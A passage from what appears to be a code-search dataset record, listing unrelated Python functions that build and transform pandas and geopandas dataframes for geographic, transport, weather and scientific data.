np.arange(lat_limits[0], lat_limits[1] - step, step)\\n\\n all_json = {\\n \\\"type\\\": \\\"FeatureCollection\\\"\\n }\\n\\n gr_id = 0\\n grid_df = pd.DataFrame(columns=['gr_id', 'c_lat', 'c_lon', 's_lon', 'w_lat', 'n_lon', 'e_lat'])\\n features = []\\n\\n for lat in lats:\\n for lon in lons:\\n w_lon = lon\\n e_lon = lon + step\\n s_lat = lat\\n n_lat = lat + step\\n\\n c_lon = lon + step / 2\\n c_lat = lat + step / 2\\n\\n grid_df = grid_df.append(pd.DataFrame({\\\"gr_id\\\": [gr_id],\\n \\\"c_lon\\\": [c_lon], \\\"c_lat\\\": [c_lat],\\n \\\"w_lon\\\": [w_lon], \\\"s_lat\\\": [s_lat],\\n \\\"e_lon\\\": [e_lon], \\\"n_lat\\\": [n_lat]}))\\n\\n coor = [[[s_lat, w_lon], [n_lat, w_lon], [n_lat, e_lon],\\n [s_lat, e_lon], [s_lat, w_lon]]]\\n\\n feature = {\\n \\\"type\\\": \\\"Feature\\\",\\n \\\"geometry\\\": {\\n \\\"type\\\": \\\"Polygon\\\",\\n \\\"coordinates\\\": coor\\n },\\n \\\"properties\\\": {\\n \\\"id\\\": str(gr_id)\\n }\\n }\\n\\n features.append(feature)\\n\\n gr_id += 1\\n\\n all_json['features'] = features\\n\\n with open(BaseDir + '/grid.geojson', 'w') as f:\\n json.dump(all_json, f)\\n\\n grid_df.to_csv(BaseDir + '/grid_locs.csv', index=False)\",\n \"def convert_tables_to_dataframe(self, tables: List[Table]):\\n geography_types = get_geo_mappings('geo_codes').keys()\\n\\n # Melt each subset to adopt common schema\\n subsets = []\\n for header, *rows in tables:\\n subset = DataFrame(rows, columns=header)\\n # Consolidate geography type in a single column\\n geography_columns = set(geography_types) & set(subset.columns)\\n id_vars = ['NAME', 'GEO_ID', 'geo_type', *geography_columns, 'year']\\n melted = subset.melt(id_vars=id_vars).drop(columns=geography_columns)\\n subsets.append(melted)\\n\\n # Ensure correct sort order and value dtype\\n dataframe = (\\n pd.concat(subsets)\\n .sort_values(by=['geo_type', 'variable', 'NAME', 'year'])\\n .reset_index(drop=True)\\n )\\n dataframe['value'] = dataframe['value'].astype(float)\\n\\n return dataframe\",\n \"def get_athlete_zones(self):\\n pass\",\n \"def get_all_db_region(self, context):\\n zone_objs = self.dns_manager.get_all_db_region(context)\\n return zone_objs\",\n \"def _get_demand_per_zone(self, t):\\n a = {z.id: len(z.demand) for z in self.zones}\\n demand_df = pd.DataFrame.from_dict(a, orient=\\\"index\\\", columns=[\\\"demand\\\"])\\n # normalize it \\n demand_df[\\\"demand\\\"] = demand_df[\\\"demand\\\"] / (demand_df[\\\"demand\\\"].max() + 1)\\n # print (\\\"normalized demand \\\", demand_df)\\n return demand_df\",\n \"def dataframe(self):\\n df = pd.DataFrame({'x':self.x, 'y':self.y, 'd':self.d})\\n\\n if self.z is not None:\\n for k, v in self.z.items():\\n df[k] = v\\n\\n return df\",\n \"def zombie_tnc(self) -> pd.DataFrame:\\n # load the report folder zombie TNC trips trip list\\n trips = pd.read_csv(\\n os.path.join(self.scenario_path,\\n \\\"report\\\",\\n \\\"zombieTNCTrips.csv\\\"),\\n usecols=[\\\"tripID\\\", # unique trip id\\n \\\"tripMode\\\", # trip mode\\n \\\"weightTrip\\\", # trip weight\\n \\\"weightPersonTrip\\\", # person trip weight\\n \\\"timeTotal\\\", # total trip time\\n \\\"distanceTotal\\\", # total trip distance\\n \\\"costTotal\\\"]) # total trip cost\\n\\n # return fields of interest\\n return trips[[\\\"tripID\\\",\\n \\\"tripMode\\\",\\n \\\"weightTrip\\\",\\n \\\"weightPersonTrip\\\",\\n \\\"timeTotal\\\",\\n \\\"distanceTotal\\\",\\n \\\"costTotal\\\"]]\",\n \"def generate_taf_geojson(taf_list):\\n\\n # Initialise Variables\\n taf_features = []\\n \\n # If there are no TAFs (incase None is passed)\\n if taf_list is None:\\n return taf_features\\n \\n #Get the colours\\n colr = current_app.config['WEATHER_TAF_COLOUR']\\n opacity = current_app.config['WEATHER_TAF_OPACITY']\\n col_r = int(colr[1:3],16)\\n col_g = int(colr[3:5],16)\\n col_b = int(colr[5:7],16)\\n \\n # Create the Fill Colour attribute - opacity as set above\\n fill_col=f'rgba({col_r},{col_g},{col_b},{opacity})'\\n # Create the Line Colour attribute - opacity of 1\\n line_col=f'rgba({col_r},{col_g},{col_b},1)'\\n\\n \\n # Create a GEOJSON Feature for each Notam - Feature contains specific Notam attributes\\n for this_taf in taf_list:\\n \\n # Create the Point geometry\\n geojson_geom = Point(this_taf['coords'])\\n #Calculate the age of the TAF\\n if (datetime.utcnow() < this_taf['time']):\\n taf_age = ''\\n else:\\n taf_age = datetime.utcnow() - this_taf['time']\\n if taf_age.days > 0:\\n taf_age = f'{taf_age.days} day(s) old'\\n elif (taf_age.seconds/3600) > 2:\\n taf_age = f'{int(taf_age.seconds/3600)} hours old'\\n else:\\n taf_age = f'{int(taf_age.seconds/60)} minutes old'\\n \\n\\n # Append this Feature to the collection, setting the various attributes as properties\\n taf_features.append(Feature(geometry=geojson_geom, properties={'fill':fill_col, 'line':line_col, \\n 'group': 'TAF',\\n 'layer_group': 'TAF_symbol', \\n 'aerodrome': this_taf['aerodrome'],\\n 'date_time': datetime.strftime(this_taf['time'], '%H:%M %d-%b'),\\n 'valid_from': datetime.strftime(this_taf['valid_from'], '%d-%b %H:%M'),\\n 'valid_to': datetime.strftime(this_taf['valid_to'], '%d-%b %H:%M'),\\n 'taf_age' : taf_age,\\n 'text': this_taf['body']}))\\n\\n return taf_features\",\n \"def df(self):\\n\\n # populate dataframe with level data\\n columns = {\\n \\\"z\\\": self.z(),\\n \\\"z_level_qc\\\": self.z_level_qc(),\\n \\\"z_unc\\\": self.z_unc(),\\n \\\"t\\\": self.t(),\\n \\\"t_level_qc\\\": self.t_level_qc(),\\n \\\"t_unc\\\": self.t_unc(),\\n \\\"s\\\": self.s(),\\n \\\"s_level_qc\\\": self.s_level_qc(),\\n \\\"s_unc\\\": self.s_unc(),\\n \\\"oxygen\\\": self.oxygen(),\\n \\\"phosphate\\\": self.phosphate(),\\n \\\"silicate\\\": self.silicate(),\\n \\\"pH\\\": self.pH(),\\n \\\"p\\\": self.p()\\n }\\n\\n df = pd.DataFrame(columns)\\n\\n # record profile data in a metadata object on the dataframe\\n df.attrs[\\\"latitude\\\"] = self.latitude()\\n df.attrs[\\\"latitude_unc\\\"] = self.latitude_unc()\\n df.attrs[\\\"longitude\\\"] = self.longitude()\\n df.attrs[\\\"longitude_unc\\\"] = self.longitude_unc()\\n df.attrs[\\\"uid\\\"] = self.uid()\\n df.attrs[\\\"n_levels\\\"] = self.n_levels()\\n df.attrs[\\\"year\\\"] = self.year()\\n df.attrs[\\\"month\\\"] = self.month()\\n df.attrs[\\\"day\\\"] = self.day()\\n df.attrs[\\\"time\\\"] = self.time()\\n df.attrs[\\\"cruise\\\"] = self.cruise()\\n df.attrs[\\\"probe_type\\\"] = self.probe_type()\\n df.attrs[\\\"originator_flag_type\\\"] = self.originator_flag_type()\\n df.attrs[\\\"PIs\\\"] = self.PIs()\\n df.attrs[\\\"originator_station\\\"] = self.originator_station()\\n df.attrs[\\\"originator_cruise\\\"] = self.originator_cruise()\\n df.attrs[\\\"t_metadata\\\"] = self.t_metadata()\\n df.attrs[\\\"s_metadata\\\"] = self.s_metadata()\\n\\n return df\",\n \"def list_to_gdf (lis):\\r\\n gdf = gpd.GeoDataFrame(lis)\\r\\n # rename the column \\r\\n gdf.rename(columns ={0:\\\"geometry\\\"},inplace=True)\\r\\n # define crs to dataframe\\r\\n gdf.crs = {'init' :'epsg:{}'.format(4326)} \\r\\n gdf = gdf.to_crs(epsg = 4326)\\r\\n \\r\\n return gdf\",\n \"def construct_df():\\n iterable = [['approach', 'contact', 'retract', 'pause'], ['force', 'height']]\\n index = pd.MultiIndex.from_product(iterable, names=['segment', 'channel'])\\n return pd.DataFrame(columns=index)\",\n \"def to_geom(self):\\n return [\\n self.create_poly(bbox)\\n for group_idx, indices, bbox in self.sindex.leaves()\\n ]\",\n \"def createDataFrame(path):\\n df = pd.read_csv(path)\\n df = df[['planet_name', 'planet_mass', 'orbital_radius', 'host_name', \\n 'spectral_type', 'stellar_age', 'stellar_radius', \\n 'stellar_mass', 'stellar_temperature', 'stellar_luminosity', \\n 'optical_magnitude', 'near_ir_magnitude', \\n 'stellar_surface_gravity', 'stellar_metallicity']]\\n \\n df = df.dropna(subset=['spectral_type'])\\n df.spectral_type = df.spectral_type.str[0:1]\\n df.spectral_type = df.spectral_type.str.strip()\\n classification = np.array(['O','B','A','F','G','K','M'])\\n df = df[df.spectral_type.isin(classification)]\\n df.insert(4, \\\"amount_of_planets\\\", 0)\\n df.amount_of_planets = df.groupby('host_name')['host_name'].transform('count')\\n \\n df.planet_mass = np.log10(df.planet_mass)\\n df.orbital_radius = np.log10(df.orbital_radius)\\n \\n df = df.sort_values(by=['host_name'])\\n df = df.reset_index(drop=True) \\n \\n return df\",\n \"def social_infrastructure_polygon(osm_path): \\n df1 = social_amenity(osm_path)\\n df2 = social_healthcare(osm_path)\\n \\n return (df1.append(df2)).reset_index(drop=True)\",\n \"def to_df(self, columns=None) -> pd.DataFrame:\\n return create_dataframe(\\n data=super().to_list(),\\n columns=columns,\\n default_columns=DEFAULT_COLUMNS,\\n logger_description=\\\"Geographies\\\",\\n )\",\n \"def append_shp(geoDFs):\\r\\n from pandas import concat\\r\\n\\r\\n assert(isinstance(geoDFs, list)), 'type list expected'\\r\\n assert len(geoDFs) > 1, 'more than one geodataframe expected'\\r\\n \\r\\n inCRS = getCRS(geoDFs[0])\\r\\n for df in geoDFs:\\r\\n assert getCRS(df) == inCRS, \\\"Projections don't match\\\"\\r\\n return geopandas.GeoDataFrame(concat(geoDFs,\\r\\n ignore_index=True), crs=inCRS)\",\n \"def gdf(self) -> gpd.GeoDataFrame:\\n path = str(get_path(\\\"geojson/FeatureCollection02.json\\\"))\\n df = gpd.read_file(path)\\n return df\",\n \"def start_dataframe(block_zones, block_guid, block_name, block_pt, block_layer):\\n # make an empty list to populate with block objects\\n blocks = []\\n # connect gh wires to python block classes\\n for i, z in enumerate(block_zones):\\n b = Block()\\n b.guid = block_guid[i]\\n b.name = block_name[i]\\n b.point = block_pt[i]\\n b.layer = block_layer[i]\\n b.phase = find_phase(b.layer)\\n b.zones = z\\n b.x = b.point[0]\\n b.y = b.point[1]\\n b.z = b.point[2]\\n b.floor = find_floor(str(z))\\n b.elevation = find_elevation(str(z))\\n b.swing_drop = get_drop(str(z))\\n b.priority = find_priority(str(z))\\n b.access = get_access(str(z))\\n b.survey = get_survey(str(z))\\n\\n # populate list of blocks\\n blocks.append(b)\\n\\n # turn the above list to a pandas dataframe\\n df = pd.DataFrame([vars(f) for f in blocks])\\n\\n # append a columns to df to track drop sort order\\n df[\\\"drop_sort\\\"] = df.swing_drop.apply(lambda x: nat_sort(x, df))\\n\\n # further specify dataframe sort order\\n df = df.sort_values([\\\"access\\\", \\\"survey\\\", \\\"elevation\\\", \\\"floor\\\", \\\"drop_sort\\\", \\\"y\\\", \\\"x\\\"],\\n ascending=[False, True, True, False, True, False, True])\\n df.reset_index(inplace=True, drop=True)\\n df[\\\"new_order\\\"] = df.index + 1\\n\\n # append columns\\n df[\\\"instance\\\"] = df.groupby(\\\"name\\\").cumcount() + 1\\n df[\\\"sample\\\"] = 0\\n df.loc[df.instance == 1, \\\"sample\\\"] = 1\\n\\n # create the survey name/bumper sticker name\\n df[\\\"survey_name\\\"] = df.swing_drop + \\\"-\\\" + df.floor.map(str) + \\\"-\\\" + df.name + \\\"[\\\" + df.new_order.map(str) + \\\"]\\\"\\n # df[\\\"survey_name\\\"] = f\\\"{df.swing_drop}-{df.floor.map(str)-{df.name}[{df.new_order.map(str)}]}\\\"\\n return df\",\n \"def download_postcode_areas() -> pd.DataFrame:\\n\\n uk_cities_postcodes = \\\"https://en.wikipedia.org/wiki/List_of_postcode_areas_in_the_United_Kingdom\\\"\\n\\n postcodes_tables = pd.read_html(uk_cities_postcodes)\\n postcode_table = postcodes_tables[0]\\n\\n print(\\\"Saving the postcodes....\\\")\\n output_path = path.join(\\\"../..\\\", \\\"datasets\\\", \\\"uk_postcodes\\\", f\\\"postcodes.csv\\\")\\n postcode_table.to_csv(output_path)\\n print(\\\"Saving the postcodes....DONE\\\")\\n return postcode_table\",\n \"def create_regressor_attributes(df, attribute, list_of_prev_t_instants) :\\n \\n list_of_prev_t_instants.sort()\\n start = list_of_prev_t_instants[-1] \\n end = len(df)\\n df['datetime'] = df.index\\n df.reset_index(drop=True)\\n\\n df_copy = df[start:end]\\n df_copy.reset_index(inplace=True, drop=True)\\n\\n for attribute in attribute :\\n foobar = pd.DataFrame()\\n\\n for prev_t in list_of_prev_t_instants :\\n new_col = pd.DataFrame(df[attribute].iloc[(start - prev_t) : (end - prev_t)])\\n new_col.reset_index(drop=True, inplace=True)\\n new_col.rename(columns={attribute : '{}_(t-{})'.format(attribute, prev_t)}, inplace=True)\\n foobar = pd.concat([foobar, new_col], sort=False, axis=1)\\n\\n df_copy = pd.concat([df_copy, foobar], sort=False, axis=1)\\n \\n df_copy.set_index(['datetime'], drop=True, inplace=True)\\n return df_copy\",\n \"def draw_sunburst_do(df=data):\\n gp = df.groupby(['DOBorough', 'DOZone']) \\\\\\n .agg(value=('VendorID', 'count')) \\\\\\n .reset_index(drop=False)\\n\\n return px.sunburst(gp, path=['DOBorough', 'DOZone'], values='value') \\\\\\n .update_layout(\\n template='plotly_dark',\\n plot_bgcolor='rgba(0, 0, 0, 0)',\\n paper_bgcolor='rgba(0, 0, 0, 0)',\\n )\",\n \"def cross_border(self) -> pd.DataFrame:\\n # load the report folder cross border trip list\\n trips = pd.read_csv(\\n os.path.join(self.scenario_path,\\n \\\"report\\\",\\n \\\"crossBorderTrips.csv\\\"),\\n usecols=[\\\"tripID\\\", # unique trip id\\n \\\"tripMode\\\", # trip mode\\n \\\"weightTrip\\\", # trip weight\\n \\\"weightPersonTrip\\\", # person trip weight\\n \\\"timeTotal\\\", # total trip time\\n \\\"distanceTotal\\\", # total trip distance\\n \\\"costTotal\\\", # total trip cost\\n \\\"tripPurposeDestination\\\"]) # trip purpose\\n\\n trips[\\\"purpose\\\"] = trips[\\\"tripPurposeDestination\\\"]\\n\\n # return fields of interest\\n return trips[[\\\"tripID\\\",\\n \\\"tripMode\\\",\\n \\\"weightTrip\\\",\\n \\\"weightPersonTrip\\\",\\n \\\"timeTotal\\\",\\n \\\"distanceTotal\\\",\\n \\\"costTotal\\\",\\n \\\"purpose\\\"]]\",\n \"def preprocess(df_kek):\\n df = pd.DataFrame([])\\n df['ETA'] = df_kek['ETA']\\n df['EDA'] = df_kek['EDA']\\n df['ESP'] = df['EDA'] / df['ETA']\\n if 'p200' in df_kek.columns:\\n df['p200'] = df_kek['p200']\\n df['p500'] = df_kek['p500']\\n df['p1000'] = df_kek['p1000']\\n df['route_num'] = df_kek['route'].apply(lambda x: 0 if pd.isna(x) else len(polyline.decode(x)))\\n df = pd.concat([df, add_time_features(set_time_by_timezone(df_kek))], axis=1)\\n df = pd.concat([df, add_distance_features(df_kek)], axis=1)\\n\\n return df\",\n \"def create_temp_df_for_address_handling(df: pd.DataFrame) -> pd.DataFrame:\\n try:\\n df_address = df[\\n [\\\"memberid\\\", \\\"ZipCity\\\", \\\"AddressLine1\\\", \\\"PostBox\\\", \\\"Street\\\"]\\n ].copy()\\n except ValueError:\\n print(\\\"Some address columns not found, please check the input file structures.\\\")\\n\\n df_address[\\\"zip\\\"] = df_address[\\\"ZipCity\\\"].apply(_get_zips)\\n df_address[\\\"city\\\"] = df_address[\\\"ZipCity\\\"].apply(_get_cities)\\n df_address[[\\\"zip\\\", \\\"city\\\"]] = df_address[[\\\"zip\\\", \\\"city\\\"]].replace(\\\"\\\", np.NaN)\\n\\n # Make sure all white-space only strings are set to np.nan\\n return df_address.applymap(lambda x: np.nan if str(x).isspace() else x)\",\n \"def add_loc_cols(df):\\r\\n\\r\\n\\tdf['STATE'] = [int(i[1:3]) for i in df.gisjoin]\\r\\n\\tdf['COUNTY'] = [int(i[4:7]) for i in df.gisjoin]\\r\\n\\tdf['TRACT'] = [int(i[7:-4]) for i in df.gisjoin]\\r\\n\\tdf['BLOCK'] = [int(i[-4:]) for i in df.gisjoin]\\r\\n\\r\\n\\tif df.STATE[0] > 9:\\r\\n\\t\\traise Exception(\\\"Warning! Code might be incorrect for states with fips code > 9\\\")\\r\\n\\r\\n\\treturn df\",\n \"def get_data(n):\\n data = pd.read_csv('map_data/lior_results_2.csv')\\n data = data.drop(['estimated_mass', 'estimated_pop'], axis=1)\\n data = data[data.binomial != 'Sus scrofa'] # Wild Boar\\n data = data[data.binomial != 'Ursus maritimus'] # Polar bear\\n data = data[data.binomial != 'Sus bucculentus'] # EX\\n data = data[data.binomial != 'Melomys rubicola'] # EX\\n data = data.assign(total_mass=data.AdultBodyMassG * data.pop_density * data.Range,\\n total_mass_density=data.AdultBodyMassG * data.pop_density)\\n data = data.sort_values(by='total_mass_density', ascending=False)\\n data = data.iloc[0:n - 1]\\n geo_data = gpd.read_file('TERRESTRIAL_MAMMALS/TERRESTRIAL_MAMMALS.shp').to_crs(\\\"EPSG:6933\\\")\\n geo_data = geo_data[geo_data.category != 'EX']\\n range_polygons = geo_data.loc[(geo_data['legend'] == 'Extant & Introduced (resident)') |\\n (geo_data['legend'] == 'Extant & Origin Uncertain (resident)') |\\n (geo_data['legend'] == 'Extant & Reintroduced (resident)') |\\n (geo_data['legend'] == 'Extant & Vagrant (seasonality uncertain)') |\\n (geo_data['legend'] == 'Extant (non breeding)') |\\n (geo_data['legend'] == 'Extant (resident)') |\\n (geo_data['legend'] == 'Probably Extant & Origin Uncertain (resident)') |\\n (geo_data['legend'] == 'Probably Extant (resident)') |\\n (geo_data['legend'] == 'Reintroduced')]\\n range_polygons = range_polygons.merge(data, on='binomial')\\n range_polygons = range_polygons.to_crs(\\\"EPSG:6933\\\")\\n return range_polygons\",\n \"def get_countryes(db_name=_db_indicators, country_txt_file=os.path.join('Source', 'work_countries.txt')):\\n imf = cmm.READ_DB(db_name=None)\\n country_list = cmm.read_countries(file_name=country_txt_file)\\n print('CREATE IMF: reading countries from all neede datasets...', end=' ')\\n coni = sa.create_engine('sqlite+pysqlite:///{db_name}'.format(db_name=db_name))\\n dbSETS=pd.read_sql('SELECT DISTINCT Dataset from {INDI_NAME}'.format(INDI_NAME=cmm.strINDI_db_name), con=coni)\\n\\n cntrl=list()\\n\\n for k, d in dbSETS.iterrows():\\n try:\\n cntrl.append(pd.DataFrame(imf.get_datastructure_list(d['Dataset'])['Geographical Areas']).set_index('CL_AREA_{}'.format(d['Dataset'])))\\n except KeyError:\\n pass\\n\\n # pdfC = pd.concat([pd.DataFrame(imf.get_datastructure_list(d['Dataset'])['Geographical Areas']).set_index('CL_AREA_{}'.format(d['Dataset'])) for k, d in dbSETS.iterrows() ])\\n pdfC = pd.concat(cntrl)\\n\\n pdfC=pdfC[pdfC.index.isin(country_list)]\\n pdfC = pdfC[~pdfC.index.duplicated()]\\n pdfC.index.name='id'\\n pdfC=pdfC.rename(columns={'Geographical Areas':'Country'})\\n print('done reading countries', end='\\\\n')\\n return pdfC\\n\\n\\n #print(dbSETS)\",\n \"def as_DF(self):\\n\\n gs_df = pd.DataFrame(self.P, columns=self.xvec, index=self.yvec)\\n gs_df.columns.name = 'x'\\n gs_df.index.name = 'y'\\n\\n return gs_df\",\n \"def create_subsets(subset_name, num_bg_ratings):\\n bgplus_df = bgplus_table.get_full_df()\\n details_df = details_table.get_full_df()\\n users_df = users_table.get_full_df()\\n ratings_df = ratings_table.get_full_df()\\n ratings_df = ratings_df[ratings_df[\\\"bg_id\\\"].isin(details_df.iloc[:num_bg_ratings].index)]\\n\\n dump_dfs_to_trepos(subset_name, [(bgplus_df, bgplus_table), (details_df, details_table), (users_df, users_table), (ratings_df, ratings_table)])\",\n \"def get_ARNA_flights_as_dfs():\\n flight_nums = [216, 217, 218, 219, 220, 221, 222, 223, 224, 225]\\n flight_IDs = ['C{}'.format(i) for i in flight_nums]\\n dfs = {}\\n for flight_ID in flight_IDs:\\n print(flight_ID)\\n try:\\n df = AC.get_FAAM_locations_as_df(flight_ID=flight_ID)\\n dfs[flight_ID] = df\\n except:\\n print('WARNING: failed for {}'.format(flight_ID))\\n return dfs\",\n \"def _finalize_features(self) -> DataFrameLike:\\n all_features_dict = dict(ChainMap(*self._final_features.values()))\\n return pd.DataFrame(all_features_dict)\",\n \"def create_populations_from_settlement_fc(lines, point_distance):\\n polygons = shape_to_polygons(lines)\\n from forestentrydetection import create_population_grid\\n return create_population_grid(polygons, [], gridPointDistance=point_distance)\",\n \"def create_sample_dataframe():\\n ax_readings = []\\n ay_readings = []\\n az_readings = []\\n mx_readings = []\\n my_readings = []\\n mz_readings = []\\n gx_readings = []\\n gy_readings = []\\n gz_readings = []\\n activity_list = [LABELS_NAMES[0] for _ in range(SEGMENT_TIME_SIZE)]\\n\\n\\n for _ in range(SEGMENT_TIME_SIZE):\\n ax_readings.append(random.uniform(-10,10))\\n ay_readings.append(random.uniform(-10,10))\\n az_readings.append(random.uniform(-10,10))\\n mx_readings.append(random.uniform(-10,10))\\n my_readings.append(random.uniform(-10,10))\\n mz_readings.append(random.uniform(-10,10))\\n gx_readings.append(random.uniform(-10,10))\\n gy_readings.append(random.uniform(-10,10))\\n gz_readings.append(random.uniform(-10,10))\\n\\n data_dict = {\\n COLUMN_NAMES[0]: activity_list, COLUMN_NAMES[1]: ax_readings,\\n COLUMN_NAMES[2]: ay_readings, COLUMN_NAMES[3]: az_readings,\\n COLUMN_NAMES[4]: gx_readings, COLUMN_NAMES[5]: gy_readings,\\n COLUMN_NAMES[6]: gz_readings, COLUMN_NAMES[7]: mx_readings,\\n COLUMN_NAMES[8]: my_readings, COLUMN_NAMES[9]: mz_readings\\n }\\n\\n df = pd.DataFrame(data=data_dict)\\n return df\",\n \"def to_geojson(gdf):\\r\\n covid_json = gdf.to_json()\\r\\n return covid_json\",\n \"def initialize_all_df(itinerary_nodes):\\n\\n # Build nested bundles and assign IDs\\n\\n # (itinerary_ID, itinerary_node)\\n itin_nodes = [(str(uuid.uuid4()), itin) for itin in itinerary_nodes]\\n\\n # (itinerary_ID, leg_ID, leg_node, numbering)\\n leg_nodes = [(itin[0], str(uuid.uuid4()), leg, i)\\n for itin in itin_nodes\\n for i, leg in enumerate(xml_path.get_leg_nodes(itin[1]))]\\n\\n # (leg_ID, segment_ID, segment_node, numbering)\\n seg_nodes = [(leg[1], str(uuid.uuid4()), seg, i * 2)\\n for leg in leg_nodes\\n for i, seg in enumerate(xml_path.get_segment_nodes(leg[2]))]\\n\\n # Turn the itineraries into a dataframe\\n itin_nodes_df = pd.DataFrame(itin_nodes, columns=['itinerary_id', 'node'])\\n itinerary_df = ids.init_itineraries_df({'itinerary_id': itin_nodes_df['itinerary_id'],\\n 'node': itin_nodes_df['node']\\n })\\n\\n # Turn the legs into a dataframe\\n leg_nodes_df = pd.DataFrame(leg_nodes, columns=['itinerary_id', 'leg_id', 'node', 'leg_number'])\\n legs_df = ids.init_legs_df({'leg_id': leg_nodes_df['leg_id'],\\n 'node': leg_nodes_df['node'],\\n 'leg_number': leg_nodes_df['leg_number']\\n })\\n\\n # Turn the segments into a dataframe\\n seg_nodes_df = pd.DataFrame(seg_nodes, columns=['leg_id', 'segment_id', 'node', 'segment_number'])\\n segments_df = ids.init_segments_df({'segment_id': seg_nodes_df['segment_id'],\\n 'node': seg_nodes_df['node'],\\n 'segment_number': seg_nodes_df['segment_number']\\n })\\n\\n # Build the link table dataframe\\n merged_link = pd.merge(leg_nodes_df[['itinerary_id', 'leg_id']],\\n seg_nodes_df[['leg_id', 'segment_id']],\\n on='leg_id', how='outer')\\n trip_link_df = ids.init_trip_link_df({'itinerary_id': merged_link['itinerary_id'],\\n 'leg_id': merged_link['leg_id'],\\n 'segment_id': merged_link['segment_id']\\n })\\n\\n return trip_link_df, itinerary_df, legs_df, segments_df\",\n \"def populate(self):\\n\\n NUM_COUNTRIES = 2 # random.randint(1, 4)\\n\\n # find a suitable hex\\n with Timer(\\\"Creating initial data\\\", debug=self.debug):\\n\\n for i in range(NUM_COUNTRIES):\\n country, provinces, pops = create_country(self, self.map)\\n country.determine_tax_policy()\\n self.countries.append(country)\",\n \"def get_shapes4country(country='South Africa'):\\n # location of data\\n URL = \\\"http://www.naturalearthdata.com/downloads/10m-cultural-vectors\\\"\\n URL += \\\"/10m-admin-1-states-provinces/\\\"\\n # Shapefiles locally?\\n # TODO - update to download automatically and store in AC_tools' data directory\\n shapefiles = 'ne_10m_admin_1_states_provinces_lakes'\\n# shapefiles = 'ne_10m_admin_1_states_provinces'\\n folder = '/mnt/lustre/users/ts551/labbook/Python_progs/'\\n folder += '/AC_tools/data/shapefiles/{}'.format(shapefiles, shapefiles)\\n states = geopandas.read_file(folder)\\n # Just select state of interest\\n choosen_states = states.query(\\\"admin == '{}'\\\".format(country))\\n choosen_states = choosen_states.reset_index(drop=True)\\n # Get the shapes\\n shapes = zip(choosen_states.geometry, range(len(choosen_states)))\\n return shapes\",\n \"def make_base_dataframe():\\n co_data_path = r\\\"C:\\\\Users\\\\User\\\\Documents\\\\LUCAS2015_topsoildata_20200323\\\\LUCAS_Topsoil_2015_20200323.csv\\\"\\n\\n col_list = [\\\"Point_ID\\\", \\\"NUTS_0\\\", \\\"OC\\\"]\\n df = pd.read_csv(co_data_path, usecols=col_list)\\n max_value = df[\\\"OC\\\"].max()\\n for i in range(20, int(max_value) + 1, 20):\\n df.loc[(df['OC'] < i) & (df['OC'] > (i - 20)), ['OC_state']] = f'{i-20}-{i}'\\n return df\",\n \"def get_ax(self, data):\\n timezone = list([x for x in data if 'UTC' in x])\\n\\n timezone_start = tuple((x/255 for x in (0, 255, 0, 100)))\\n country_start = tuple((x/255 for x in (0, 100, 0)))\\n # We ignore some countries, as they are too big and need a higher\\n # resolution for precise timezone assignment.\\n ignored_countries = ['United States', 'Australia', 'Brazil', 'Canada']\\n\\n ax = plt.axes(projection=ccrs.PlateCarree())\\n\\n # Print countries and state borders\\n ax.add_feature(cartopy.feature.LAND)\\n ax.add_feature(cartopy.feature.OCEAN)\\n ax.add_feature(cartopy.feature.COASTLINE)\\n ax.add_feature(cartopy.feature.BORDERS)\\n for state in self.states:\\n ax.add_geometries(\\n state.geometry,\\n ccrs.PlateCarree(),\\n facecolor=np.array((240, 240, 220)) / 256,\\n edgecolor='black',\\n label=state.attributes['name'],\\n )\\n\\n collected_countries = []\\n collected_timezones = []\\n collected_states = []\\n\\n timezones_to_draw = []\\n countries_to_draw = []\\n states_to_draw = []\\n for name in data:\\n # Color the timezone if we find one\\n name = map_timezone_to_utc(name)\\n if name in self.timezones_by_name:\\n timezone = self.timezones_by_name[name]\\n\\n # Prevent timezone from being applied multiple times.\\n utc_name = timezone.attributes['utc_format']\\n if utc_name not in collected_timezones:\\n collected_timezones.append(utc_name)\\n timezones_to_draw.append(timezone)\\n\\n # Check if we find a country for this timezone and draw it\\n if name in timezone_country:\\n # Check if we have a country code for this timezone\\n country_code = timezone_country[name]\\n\\n # We have no country for this code.\\n # Unfortunately the natural earth database is a little inconsistent.\\n # Try to get the full name of the country by using pycountry\\n # and resolve the country by this name.\\n if country_code not in self.countries_by_iso_a2:\\n try:\\n name = pycountries.get(alpha_2=country_code).name\\n except KeyError:\\n continue\\n\\n # We found a full name for this code.\\n # Check if we have a country for this name.\\n if name not in self.countries_by_name:\\n continue\\n\\n # We found a country for this name. Proceed\\n country = self.countries_by_name[name]\\n\\n else:\\n country = self.countries_by_iso_a2[country_code]\\n\\n # This country is too big and has many timezones it it.\\n # Try to get the state name and to color only the interesting states.\\n if country.attributes['NAME_LONG'] in ignored_countries:\\n state = map_timezone_to_state(name)\\n\\n # We couldn't find a state for this timezone\\n if state is None:\\n continue\\n\\n # We don't have this state name in our world data\\n if state not in self.states_by_name:\\n continue\\n\\n # We already have this state\\n if state in collected_states:\\n continue\\n\\n # Found a state\\n collected_states.append(state)\\n state = self.states_by_name[state]\\n states_to_draw.append(state)\\n\\n continue\\n\\n # Avoid to draw the same country multiple times\\n country_name = country.attributes['NAME_LONG']\\n if country_name in collected_countries:\\n continue\\n\\n collected_countries.append(country_name)\\n countries_to_draw.append(country)\\n\\n # Draw everything at the end.\\n # Otherwise timezones might draw over countries and fuck up the image.\\n for timezone in timezones_to_draw:\\n ax.add_geometries(\\n timezone.geometry,\\n ccrs.PlateCarree(),\\n facecolor=timezone_start,\\n label=name,\\n )\\n\\n for country in countries_to_draw:\\n ax.add_geometries(\\n country.geometry,\\n ccrs.PlateCarree(),\\n facecolor=country_start,\\n edgecolor='black',\\n label=country_name,\\n )\\n\\n for state in states_to_draw:\\n ax.add_geometries(\\n state.geometry,\\n ccrs.PlateCarree(),\\n facecolor=country_start,\\n edgecolor='black',\\n label=state.attributes['name'],\\n )\\n\\n return ax\",\n \"def df_with_hexid_to_gdf(df, hexcolname='_id'):\\n df_geometry=hexlist_to_geodataframe(df[hexcolname].to_list())\\n #Creando el geodataframe\\n gdf=gpd.GeoDataFrame(df, geometry=df_geometry['geometry'])\\n gdf.crs = 'EPSG:4326'\\n return gdf\"\n]","isConversational":false},"negative_scores":{"kind":"list 